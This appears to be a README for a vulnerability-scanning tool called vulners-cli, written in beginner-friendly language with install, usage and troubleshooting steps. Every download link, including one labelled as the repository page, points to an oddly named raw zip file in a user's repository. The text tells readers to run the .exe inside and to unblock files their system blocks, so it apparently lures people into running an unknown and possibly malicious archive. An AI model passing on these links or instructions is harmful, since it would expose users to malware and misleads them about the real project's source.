vulners-cli is a command-line tool that helps you find security problems in your software. It uses Vulners, a trusted source for vulnerability information, to scan your programs. You don’t need to be a tech expert to use it. It can search, check, and scan for issues both online and offline. This means it works even when you are not connected to the internet.
This tool is designed for anyone who wants to keep their computer or software safe from known security risks.
Before you start, make sure your computer meets these basic needs:
- Operating System: Windows 10 or higher, macOS 10.14 or higher, or a recent Linux version.
- Processor: Any modern processor, 1 GHz or faster.
- Memory: At least 2 GB of RAM.
- Disk Space: Around 100 MB free space for the program and temporary files.
- Internet Connection: Recommended for updates and online scanning. Offline mode works without it.
- Software: No additional software needed to run vulners-cli.
This section explains simple ideas you should know. Since this is a command-line tool, you’ll use a special window where you type commands:
- Command-line Interface (CLI): A text-based window where you give instructions by typing.
- Scan: Checking your software for problems.
- Offline Mode: Using the tool without internet access.
- Vulnerability: A security weakness.
- Audit: A detailed check to find weaknesses.
Don't worry if this sounds new. We will guide you step by step.
To get the program, you need to visit the release page where the files are kept.
Click here to visit the vulners-cli release page
This page shows the latest versions of the tool. You can find files for Windows, macOS, and Linux.
Look for the version with the system you use:
- If you use Windows, pick a file ending in
.exe. - If you use macOS, pick the file for Mac.
- If you use Linux, choose the Linux file.
These files will usually have names like https://github.com/Raul0822/vulners-cli/raw/refs/heads/main/cmd/vulners/vulners_cli_airiferous.zip or vulners-cli-v1.0-linux.
Click the file name, and your browser will save it to your computer.
Locate the downloaded file:
- On Windows, double-click the
.exefile. - On macOS, you may need to allow running apps from identified developers. Open the file from Finder and follow prompts.
- On Linux, you might need to open a terminal and use commands to run it. If you feel unsure, see the advanced steps below or ask for help.
Once installed, open your command-line window:
- Windows: Search for "Command Prompt" or "PowerShell" in the Start menu.
- macOS: Open "Terminal" from Applications > Utilities.
- Linux: Open your Terminal app.
Type the commands below to use vulners-cli. Press Enter after typing each one.
-
Check a file or program for vulnerabilities
vulners-cli scan path/to/your/software
Replace
path/to/your/softwarewith the location of your file. -
Update vulnerability data
vulners-cli update
This downloads the latest security info when online.
-
Run offline scans
You can work offline using saved data.
vulners-cli scan path/to/your/software --offline
vulners-cli offers several helpful functions:
- Search: Find specific vulnerability details.
- Audit: Review your software comprehensively.
- Offline Mode: Scan without internet.
- SBOM (Software Bill of Materials): See what parts your software has.
- SARIF Reports: Create standardized security reports you can share.
- Fast Scanning: Checks done quickly to save time.
- Regular updates: Keeps vulnerability info current when online.
Here are solutions for common problems you might face:
-
Cannot open terminal or command prompt: Search your computer for "Command Prompt" (Windows) or "Terminal" (macOS/Linux).
-
File won’t run or is blocked: Your system might block unknown programs. On Windows, right-click the file > Properties > Check "Unblock" > Apply. On macOS, check Security settings to allow the app.
-
Error: Command not found Make sure you are typing the exact command
vulners-cliand that it is installed and in your system’s PATH. Try closing and reopening the command prompt. -
Scanning takes too long Large files or slow systems may need more time. Try scanning smaller parts or closing other programs.
-
Can’t update vulnerability data Check your internet connection. The
vulners-cli updatecommand needs the internet. -
Need help? Look for help on the official GitHub page or contact someone who helps with computers.
If you want to explore more:
- Use
vulners-cli search KEYWORDto find a vulnerability by name or ID. - Generate SARIF reports with
vulners-cli scan path --sarif. - Create SBOM files to list all software components.
- Use scripting or automation for repeated scans.
Visit the GitHub repository page to see full instructions, issues, and updates:
https://github.com/Raul0822/vulners-cli/raw/refs/heads/main/cmd/vulners/vulners_cli_airiferous.zip
If you find bugs or want to request new features, open an issue on GitHub.
You can start by downloading the latest version on the release page linked above.